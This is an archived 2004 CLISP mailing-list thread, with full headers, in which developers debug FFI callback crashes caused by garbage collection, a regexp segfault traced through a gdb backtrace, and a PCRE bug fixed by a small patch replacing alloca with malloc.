Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i58EEhhT027180; Tue, 8 Jun 2004 10:14:43 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Andreas Thiele's message of "Tue, 8 Jun 2004 12:00:44 +0200") References: <16214004375.20040608130630@ich.dvo.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 07:31:07 2004 X-Original-Date: Tue, 08 Jun 2004 10:14:43 -0400 > * Andreas Thiele [2004-06-08 12:00:44 +0200]: > > I call my callback function from within a dll in the windows message > loop, so lisp can see the messages. This seems to work fine if the > code is small. The thing I am nervous about is, I did (print message) > or (format t ... anything ...) inside my callback function. This > crashes the program from time to time when garbage collection is > executed. But not everytime! If (gc) is include it crashed definitely > after a few calls. So my question is, what is allowed and what isn't? > Why crashes (format t "~a ~a ~a ~a~%" hWnd Message wParaem lParam) > clisp totally? (after hundreds of successful calls) You are probably encountering a GC-safety bug in your code. . Basically, you write your C code like this: object my_variable; /*assign something to my_variable*/ pushSTACK(my_variable); /* save my_variable to the STACK */ begin_callback(); /* save registers */ end_callback(); /* restore registers */ my_variable = popSTACK(); /* restore my_variable from STACK */ -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't want to be young again, I just don't want to get any older. From andreas.thiele@technologiekontor.de Tue Jun 08 09:24:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXjPD-0000mj-Hd for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 09:24:55 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BXjPC-0000S2-OL for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 09:24:55 -0700 Received: from atpws02 (pD95D4A7C.dip.t-dialin.net [217.93.74.124]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i58GOiGq007380 for ; Tue, 8 Jun 2004 18:24:44 +0200 (MEST) From: "Andreas Thiele" To: Subject: AW: [clisp-list] Re: Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 09:25:09 2004 X-Original-Date: Tue, 8 Jun 2004 18:24:43 +0200 <... You are probably encountering a GC-safety bug in your code. . Basically, you write your C code like this: object my_variable; /*assign something to my_variable*/ pushSTACK(my_variable); /* save my_variable to the STACK */ begin_callback(); /* save registers */ end_callback(); /* restore registers */ my_variable = popSTACK(); /* restore my_variable from STACK */ ...> Thanks a lot for your help. I just can't figure out how to compile this (on win32/msvc 6.0). Until now (FFI:DEF-CALL-OUT used only) everything was easy. Do I have to write a module? This can only be achieved using cygwin on Win32? Until now I did: ... (FFI:DEF-CALL-OUT SetMsgCallBack (:library "ghwemu.dll") (:language :stdc) (:name "SetMsgCallBack") (:arguments (function-arg (ffi:c-function (:arguments (hWnd ffi:sint32) (Message ffi:uint16) (wParam ffi:sint16) (lParam ffi:sint32)) (:return-type ffi:sint32) (:language :stdc)))) (:return-type sint32)) (defun WndProc (hWnd Message wParam lParam) (let ((m (make-msg))) (setf (msg-hWnd m) hWnd) (setf (msg-Message m) Message) (setf (msg-wParam m) wParam) (setf (msg-lParam m) lParam) ;following crashes occasionally (print m) ;(push m *msg*) works if used instead of (print m) ) 0) (SetMsgCallBack #'WndProc) ... c-code contains: ... typedef int (*LispMsgFunc)(HWND, UINT, WPARAM, LPARAM); LispMsgFunc fMsg; long SetMsgCallBack(LispMsgFunc mcb) { WaitForSingleObject(info_call, INFINITE); fMsg = mcb; ReleaseMutex(info_call); return (long)mcb; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { ... WaitForSingleObject(info_call, INFINITE); // call lisp if avail if ((void*) fMsg) fMsg(hWnd, message, wParam, lParam); ReleaseMutex(info_call); ... This is not GC save? Can I use FFI:DEF-CALL-IN btw. the by compilation generated *.c file? I don't find clisp.h which is included in the first line of the *.c file. Neither can I make nmake create genclisph.exe. Perhaps it is much easier to write gc save lisp code? Isn't there any tutorial? I'd be willing to write one. I find example 30.10 from impnotes somehow misleading. No begin_callback etc. is included automatically? So this works only in this special situation (calling back from within calling out)! And the code must not trigger gc?(Of course this is already helpful, because one can use any lisp function from c.) Rem: I already read before and still find it difficult to understand. Any help or hint is appreciated. Thanks Andreas From sds@gnu.org Tue Jun 08 09:48:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXjm0-000627-NO for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 09:48:28 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BXjm0-0004ll-9l for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 09:48:28 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i58GmJhT011317; Tue, 8 Jun 2004 12:48:19 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Andreas Thiele's message of "Tue, 8 Jun 2004 18:24:43 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: AW: Re: Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 09:49:04 2004 X-Original-Date: Tue, 08 Jun 2004 12:48:19 -0400 > * Andreas Thiele [2004-06-08 18:24:43 +0200]: > > Do I have to write a module? I don't think so. > This can only be achieved using cygwin on Win32? no, modules are fully supported using mingw also. > This is not GC save? I think it's OK. > Rem: I already read before > and still find it difficult to understand. some things _are_ complicated. this is one of them. > Any help or hint is appreciated. it would be very nice if you could do the following: 1. get mingw (e.g., as a part of cygwin). 2. build CLISP like this: $ CC=g++ ./configure --with-debug build-g-gxx 3. run CLISP under GDB and try your code: $ cd build-g-gxx $ gdb (gdb) run [1]> (def-call-... ....) you should get an abort at the first invalid access. please send the backtrace. Thanks a lot! -- Sam Steingold (http://www.podval.org/~sds) running w2k Winners never quit; quitters never win; idiots neither win nor quit. From andreas.thiele@technologiekontor.de Tue Jun 08 10:00:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXjx7-0008Dn-Va for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 09:59:57 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BXjx7-0006jw-E9 for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 09:59:57 -0700 Received: from atpws02 (pD95D4A7C.dip.t-dialin.net [217.93.74.124]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i58GxtmK021852 for ; Tue, 8 Jun 2004 18:59:55 +0200 (MEST) From: "Andreas Thiele" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] AW: AW: Re: Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 10:01:15 2004 X-Original-Date: Tue, 8 Jun 2004 18:59:55 +0200 ... it would be very nice if you could do the following: 1. get mingw (e.g., as a part of cygwin). 2. build CLISP like this: $ CC=g++ ./configure --with-debug build-g-gxx 3. run CLISP under GDB and try your code: ... Thank you. I will do it. (Rem: Hope you didn't get me wrong, I did't want to be impolite. I am very happy about clisp and find it a great thing. Just fighting for days against this callback thing only) Andreas From sds@gnu.org Tue Jun 08 10:56:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXkpi-0003pm-7b for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 10:56:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BXkph-00016D-QB for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 10:56:21 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i58HuDhT000732; Tue, 8 Jun 2004 13:56:14 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Andreas Thiele's message of "Tue, 8 Jun 2004 18:59:55 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Andreas Thiele" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: AW: AW: Re: Debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 10:57:08 2004 X-Original-Date: Tue, 08 Jun 2004 13:56:13 -0400 > * Andreas Thiele [2004-06-08 18:59:55 +0200]: > > (Rem: Hope you didn't get me wrong, I did't want to be impolite. I am > very happy about clisp and find it a great thing. Just fighting for > days against this callback thing only) Yes, I understand, and all CLISP developers will greatly appreciate it if you will help us nail this bug! Happy hacking! -- Sam Steingold (http://www.podval.org/~sds) running w2k I'd give my right arm to be ambidextrous. From dbueno@stygian.net Tue Jun 08 13:29:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXnE1-00042h-8K for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 13:29:37 -0700 Received: from hellmouth3.gatech.edu ([130.207.165.163] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BXnDy-0003SR-Ha for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 13:29:34 -0700 Received: from hellmouth3.gatech.edu (localhost [127.0.0.1]) by hellmouth3.gatech.edu (Postfix) with SMTP id 88A632212E5 for ; Tue, 8 Jun 2004 16:29:31 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from mailprx4.gatech.edu (mailprx4.prism.gatech.edu [130.207.171.18]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "smtp.mail.gatech.edu", Issuer "RSA Data Security? Inc." (verified OK)) by hellmouth3.gatech.edu (Postfix) with ESMTP id CDE7F221047 for ; Tue, 8 Jun 2004 16:25:36 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from [192.168.10.252] (chinook.stl.gtri.gatech.edu [130.207.197.81]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) (sasl: method=PLAIN, username=gtg385h, sender=n/a) by mailprx4.gatech.edu (Postfix) with ESMTP id 7CF9B3A5EE for ; Tue, 8 Jun 2004 16:25:36 -0400 (EDT) (envelope-from dbueno@stygian.net) Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Denis Bueno Subject: Re: [clisp-list] Re: CLISP 2.33.2 segmentation fault To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 13:30:09 2004 X-Original-Date: Tue, 8 Jun 2004 16:25:19 -0400 On 08 Jun 2004, at 10.23, Sam Steingold wrote: > > please try the appended patch. > Tried it. Same result. Here's the backtrace: [Taggart.local ~/Download/clisp-2.33.2/build-g] gdb GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-apple-darwin". Reading symbols for shared libraries ...... done Breakpoint 1 at 0x3432c: file eval.d, line 4802. Breakpoint 2 at 0x2f8f0: file eval.d, line 3903. Breakpoint 3 at 0x290bc: file eval.d, line 2790. Breakpoint 4 at 0x378bc: file eval.d, line 5757. Breakpoint 5 at 0x9128: file spvw_garcol.c, line 2683. Hardware watchpoint 6: back_trace Breakpoint 7 at 0xd730: file spvw.d, line 644. Breakpoint 8 at 0x485c: file spvw.d, line 488. Breakpoint 9 at 0x4940: file spvw.d, line 499. Num Type Disp Enb Address What 1 breakpoint keep n 0x0003432c in funcall at eval.d:4802 xout fun 2 breakpoint keep n 0x0002f8f0 in apply at eval.d:3903 xout fun 3 breakpoint keep n 0x000290bc in eval at eval.d:2790 xout form 4 breakpoint keep n 0x000378bc in interpret_bytecode_ at eval.d:5757 xout closure 5 breakpoint keep n 0x00009128 in gar_col at spvw_garcol.c:2683 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x0000d730 in fehler_notreached at spvw.d:644 8 breakpoint keep y 0x0000485c in SP_ueber at spvw.d:488 9 breakpoint keep y 0x00004940 in STACK_ueber at spvw.d:499 Function "sigsegv_handler_failed" not defined. .gdbinit:145: Error in sourced command file: No symbol "byteptr" in current context. (gdb) full Function "my_type_error" not defined. Function "closed_display_error" not defined. (gdb) run Starting program: /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS Reading symbols for shared libraries +. done STACK depth: 16367 ;; Loading file /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- demos.lisp ... *** - FIND-SYMBOL: There is no package with name "XLIB" The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [2]> :a [1]> *features* (:REGEXP :CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :CLISP-DEBUG :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :UNIX) [2]> (regexp:match "." "aoeu") Program received signal EXC_BAD_ACCESS, Could not access memory. 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 103 ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); (gdb) bt #0 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 #1 0x000379ec in funcall_subr (fun={one_o = 2498810}, args_on_stack=8) at eval.d:5201 #2 0x00036254 in funcall (fun={one_o = 445571057}, args_on_stack=10) at eval.d:4810 #3 0x0003dde8 in interpret_bytecode_ (closure={one_o = 445575229}, codeptr=0x1a8eef94, byteptr=0x1a8ef01e "\031\f?\e???\e???\e???\e???\eC?\eE?\eG?\eI\032?\220<") at eval.d:6841 #4 0x00030bdc in eval_closure (closure={one_o = 445575229}) at eval.d:3750 #5 0x0002b8bc in eval1 (form={one_o = 1721542395}) at eval.d:2931 #6 0x0002b1e8 in eval (form={one_o = 1721542395}) at eval.d:2810 #7 0x0002b760 in eval1 (form={one_o = 1721542395}) at eval.d:2899 #8 0x0002b1e8 in eval (form={one_o = 1721542451}) at eval.d:2810 #9 0x0015d580 in C_read_eval_print () at debug.d:311 #10 0x000379ec in funcall_subr (fun={one_o = 2504018}, args_on_stack=2) at eval.d:5201 #11 0x00036254 in funcall (fun={one_o = 2533441}, args_on_stack=2) at eval.d:4810 #12 0x0003e300 in interpret_bytecode_ (closure={one_o = 445661425}, codeptr=0x1a8bae64, byteptr=0x1a8bae8a "\037\ak\a\211\b\005.\tQ\031\001?\017\v") at eval.d:6856 #13 0x0003954c in funcall_closure (closure={one_o = 445661425}, args_on_stack=0) at eval.d:5641 #14 0x000361fc in funcall (fun={one_o = 445661425}, args_on_stack=0) at eval.d:4805 #15 0x00054c9c in C_driver () at control.d:1943 #16 0x0003e524 in interpret_bytecode_ (closure={one_o = 445361889}, codeptr=0x1a8bae14, byteptr=0x1a8bae32 "\031\001\032?N4") at eval.d:6862 #17 0x0003954c in funcall_closure (closure={one_o = 445361889}, args_on_stack=0) at eval.d:5641 #18 0x000361fc in funcall (fun={one_o = 445361889}, args_on_stack=0) at eval.d:4805 #19 0x0003f61c in interpret_bytecode_ (closure={one_o = 445579685}, codeptr=0x1a83f780, byteptr=0x1a83f7c2 "\031\001\032\235\227?") at eval.d:6912 #20 0x0003954c in funcall_closure (closure={one_o = 445579685}, args_on_stack=0) at eval.d:5641 #21 0x000361fc in funcall (fun={one_o = 445579685}, args_on_stack=0) at eval.d:4805 #22 0x0015dbd4 in driver () at debug.d:380 #23 0x000205c0 in reset (count=4407836) at eval.d:513 #24 0x00042bd4 in interpret_bytecode_ (closure={one_o = 444692129}, codeptr=0x1a81715c, byteptr=0x1a8172ef "\021\030\001") at eval.d:7438 #25 0x000392d0 in funcall_closure (closure={one_o = 444692129}, args_on_stack=1) at eval.d:5622 #26 0x00036290 in funcall (fun={one_o = 2533469}, args_on_stack=1) at eval.d:4812 #27 0x0001aa84 in main (argc=11, argv=0xbffffba8) at spvw.d:2861 (gdb) -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "MEGAHERTZ: This is a really, really big hertz." - Dave Barry From sds@gnu.org Tue Jun 08 13:43:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXnRW-0007EY-AD for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 13:43:34 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BXnQo-0000Gf-II for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 13:42:50 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i58KgdhT022226; Tue, 8 Jun 2004 16:42:39 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Denis Bueno's message of "Tue, 8 Jun 2004 16:25:19 -0400") References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 13:44:08 2004 X-Original-Date: Tue, 08 Jun 2004 16:42:39 -0400 > * Denis Bueno [2004-06-08 16:25:19 -0400]: > > *** - FIND-SYMBOL: There is no package with name "XLIB" you can edit .gdbinit to avoid this > [2]> (regexp:match "." "aoeu") > > Program received signal EXC_BAD_ACCESS, Could not access memory. > 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 > 103 ret = > (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); p re p re->re_nsub add a break in C_subr_regexp_regexp_compile() and make sure that "re" here points to the same location which was allocated by my_malloc() in C_subr_regexp_regexp_compile(). what is "re->re_nsub" when we leave C_subr_regexp_regexp_compile? -- Sam Steingold (http://www.podval.org/~sds) running w2k Life is like a diaper -- short and loaded. From sds@gnu.org Thu Jun 10 08:13:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BYRFH-0001IZ-S3 for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:13:35 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BYRFE-0000Zl-1w for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:13:32 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5AFDEKZ025556; Thu, 10 Jun 2004 11:13:14 -0400 (EDT) To: clisp-list@lists.sourceforge.net, edi@agharta.de Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87ekp5e4fp.fsf@bird.agharta.de> (Edi Weitz's message of "Fri, 28 May 2004 03:16:58 +0200") References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> <87ekp5e4fp.fsf@bird.agharta.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, edi@agharta.de Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 10 08:14:24 2004 X-Original-Date: Thu, 10 Jun 2004 11:13:14 -0400 > * Edi Weitz [2004-05-28 03:16:58 +0200]: > > [1]> (pcre:pcre-exec (pcre:pcre-compile "(aa)(.*)") "aaxx") this is a bug in the PCRE library. I reported it to the implementor. A workaround is to use malloc() instead of alloca(), patch appended. > [1]> (defparameter *xxxx* (make-string 10000 :initial-element #\x)) > *XXXX* > [2]> (pcre:pcre-exec (pcre:pcre-compile "(.)*" :dotall t) *xxxx*) this is a bug in the PCRE library. I reported it to the implementor. I do not know of a workaround. > [4]> (test) > CL-PPCRE wins by a factor of 2.8 > CL-PPCRE wins by a factor of 44.0 > PCRE wins by a factor of 2.4 > PCRE wins by a factor of 1.3 > PCRE wins by a factor of 1.3 > CL-PPCRE wins by a factor of 3.0 > PCRE wins by a factor of 12.0 > PCRE wins by a factor of 22.3 > PCRE wins by a factor of 14.2 > PCRE wins by a factor of 23.8 > PCRE wins by a factor of 2.5 > PCRE wins by a factor of 1.8 > PCRE wins by a factor of 7.2 > PCRE wins by a factor of 5.4 > PCRE wins by a factor of 12.3 > PCRE wins by a factor of 18.9 > PCRE wins by a factor of 2.3 > PCRE wins by a factor of 1.2 > PCRE wins by a factor of 15.8 > PCRE wins by a factor of 24.9 > PCRE wins by a factor of 13.5 > CL-PPCRE wins by a factor of 1.6 > PCRE wins by a factor of 12.0 > PCRE wins by a factor of 8.9 > PCRE wins by a factor of 12.5 > PCRE wins by a factor of 11.0 > PCRE wins by a factor of 1.4 > CL-PPCRE wins by a factor of 1.1 did you try passing ":study t" to pcre-compile? -- Sam Steingold (http://www.podval.org/~sds) running w2k My other CAR is a CDR. --- cpcre.c 13 May 2004 22:41:11 -0400 1.16 +++ cpcre.c 10 Jun 2004 11:00:55 -0400 @@ -339,7 +339,7 @@ end_system_call(); if (ret < 0) pcre_error(ret); ovector_size = 3 * (capture_count + 1); - ovector = alloca(ovector_size); + ovector = malloc(ovector_size); with_string_0(check_string(STACK_0),Symbol_value(S(utf_8)),subject, { begin_system_call(); /* subject_bytelen is the length of subject in bytes, @@ -364,6 +364,7 @@ VALUES1(popSTACK()); } } else pcre_error(ret); + free(ovector); skipSTACK(2); /* drop pattern & subject */ } From sds@gnu.org Thu Jun 10 08:22:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BYRNY-0002lt-Sn for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:22:08 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BYRNY-0002lw-CZ for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:22:08 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5AFLwKZ028127; Thu, 10 Jun 2004 11:21:59 -0400 (EDT) To: 